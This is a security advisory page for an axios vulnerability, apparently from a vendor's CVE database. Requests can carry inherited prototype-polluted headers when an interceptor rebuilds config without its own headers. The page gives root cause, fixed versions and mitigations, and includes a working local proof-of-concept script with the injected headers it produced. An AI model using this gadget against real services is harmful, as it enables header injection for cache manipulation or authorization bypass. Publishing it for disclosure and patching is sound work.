CVE-2026-101904 — axios
Fix: axios/axios@d19040bCVE-2026-101904 is a CWE-74 vulnerability in axios. A fix is available for axios — see the affected versions and patch details below.
Axios: Header Injection via Inherited headers After Minimal Interceptor
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-101904.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
axiosnpmDescription
Summary
Axios request interceptors may return a replacement config object. If an interceptor returns a plain object without an own headers property, dispatchRequest() later evaluates config.headers and can resolve an inherited Object.prototype.headers value. In a process where another vulnerability has polluted Object.prototype.headers, axios can send attacker-controlled headers.
Axios does not create the prototype pollution source, and the interceptor itself is trusted caller code. The vulnerable behavior is the post-interceptor axios config read that reopens a prototype-pollution gadget after earlier null-prototype config hardening.
Impact
An attacker with a prior same-process prototype-pollution primitive can inject headers into affected axios requests when the application uses an interceptor that rebuilds config and omits headers. Depending on the target service, injected headers can affect cache behavior, conditional requests, metadata services, or application-specific authorization and routing logic.
The issue is conditional and should not be described as affecting every interceptor or every request.
Affected Functionality
Affected:
- Request interceptor chains where an interceptor returns a new ordinary object.
- Replacement config objects that omit an own
headersproperty. dispatchRequest()header normalization throughAxiosHeaders.from(config.headers).
Not affected:
- Requests whose interceptor preserves an own
headersproperty. - Interceptors that mutate and return the existing null-prototype config.
- Processes without prototype pollution.
Technical Details
lib/core/dispatchRequest.js contains:
config.headers = AxiosHeaders.from(config.headers);
The initial merged config is null-prototype, but an interceptor can replace it with a normal object. If that object has no own headers, the read can resolve Object.prototype.headers.
Local verification on axios 1.18.1 polluted Object.prototype.headers = { 'X-Poisoned': 'yes' }, installed an interceptor that returned { url, method, timeout, proxy: false }, and sent a request. The loopback server received X-Poisoned: yes.
Proof of Concept of Attack
Constrained local demonstration:
Object.prototype.headers = { 'X-Poisoned': 'yes' };
const client = axios.create();
client.interceptors.request.use((config) => ({
url: config.url,
method: config.method,
timeout: config.timeout
}));
await client.get(url);
Expected safe behavior is that missing headers normalize to an empty header set. Current affected behavior reads inherited Object.prototype.headers.
Workarounds
Interceptors that rebuild config should always set an own headers property, for example by preserving config.headers or setting headers: {}. Mutating and returning the existing merged config also avoids replacing the null-prototype object.
Summary
Axios 1.17.0 blocks the old Object.prototype.common header bucket gadget. However, if a request interceptor rebuilds a minimal config object and omits headers, dispatchRequest() reads inherited Object.prototype.headers.
This allows attacker-controlled headers to be placed on the wire.
Affected Version
Validated on:
- axios:
1.17.0 - commit:
4306df2 - runtime: Node.js
v24.15.0
Preconditions
- A separate prototype-pollution primitive can write an object to
Object.prototype.headers. - A request interceptor rebuilds config and omits own
headers.
Root Cause
dispatchRequest() uses:
config.headers = AxiosHeaders.from(config.headers);
If config is a normal object returned by an interceptor and lacks own headers, this reads Object.prototype.headers.
Impact
An attacker can inject request headers. Depending on the target service, this can cause cache manipulation, conditional-response suppression, request smuggling preconditions, metadata-service header injection, or application-specific authorization bypass.
Proof of Concept
import axios from './index.js';
import http from 'http';
const start = (handler) => new Promise((resolve) => {
const server = http.createServer(handler);
server.listen(0, '127.0.0.1', () => resolve(server));
});
const stop = (server) => new Promise((resolve) => server.close(resolve));
const hits = [];
const server = await start((req, res) => {
hits.push(req.headers);
res.setHeader('Content-Type', 'application/json');
res.end('{"ok":true}');
});
try {
Object.prototype.headers = {
'X-Poisoned': 'yes',
'If-None-Match': '*'
};
const client = axios.create();
client.interceptors.request.use((config) => ({
url: config.url,
method: config.method,
timeout: config.timeout
}));
await client.get(`http://127.0.0.1:${server.address().port}/headers`, {
timeout: 3000
});
console.log(hits[0]);
} finally {
delete Object.prototype.headers;
await stop(server);
}
Observed wire headers:
{
"x-poisoned": "yes",
"if-none-match": "*",
"user-agent": "axios/1.17.0"
}
References
</details> ---Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | axios | ≥ 1.0.0&&< 1.20.0 | 1.20.0npm install axios@1.20.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for axios, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update axios to 1.20.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-101904 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Hardened Images | grafana13-1-main-13.1.6-0.6.hum1 | RHSA-2026:74869 |
| Red Hat Hardened Images | grafana12-4-main-12.4.12-0.3.hum1 | RHSA-2026:74871 |
| Red Hat Hardened Images | grafana13-2-main-13.2.1-0.9.hum1 | RHSA-2026:74872 |
Frequently Asked Questions
Is CVE-2026-101904 in your dependencies?
Find it across npm, including transitive dependencies.